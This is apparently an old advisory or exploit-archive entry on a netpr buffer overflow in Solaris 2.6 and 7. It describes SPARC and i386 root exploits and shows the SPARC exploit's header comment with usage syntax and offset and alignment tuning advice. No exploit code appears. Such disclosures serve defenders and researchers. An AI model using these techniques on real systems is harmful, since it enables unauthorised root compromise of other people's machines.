Solaris
PROBLEM
Cheez Whiz found following. Have you noticed how many holes have
been discovered in the printing system on Solaris? The netpr
program is no exception. Included below are two exploits Cheez
Whiz wrote in 1999, one for SPARC versions of Solaris and the
other for i386 versions. The SPARC version is a routine buffer
overflow exploit that produces an instant root shell, but the
i386 exploit requires some creative payload delivery to compensate
for the unavoidable corruption of an important stack variable.
The i386 version will turn a copy of /bin/ksh in /tmp into a SUID
root shell.
/**
*** netprex - SPARC Solaris root exploit for /usr/lib/lp/bin/netpr
***
*** Tested and confirmed under Solaris 2.6 and 7 (SPARC)
***
*** Usage: % netprex -h hostname [-o offset] [-a alignment]
***
*** where hostname is the name of any reachable host running the printer
*** service on TCP port 515 (such as "localhost" perhaps), offset is the
*** number of bytes to add to the %sp stack pointer to calculate the
*** desired return address, and alignment is the number of bytes needed
*** to correctly align the first NOP inside the exploit buffer.
***
*** When the exploit is run, the host specified with the -h option will
*** receive a connection from the netpr program to a nonsense printer
*** name, but the host will be otherwise untouched. The offset parameter
*** and the alignment parameter have default values that will be used
*** if no overriding values are specified on the command line. In some
*** situations the default values will not work correctly and should
*** be overridden on the command line. The offset value should be a
*** multiple of 8 and should lie reasonably close to the default value;
*** try adjusting the value by -640 to 640 from the default value in
*** increments of 64 for starters. The alignment value should be set
*** to either 0, 1, 2, or 3. In order to function correctly, the final
*** return address should not contain any null bytes, so adjust the offset
*** appropriately to counteract nulls should any arise.
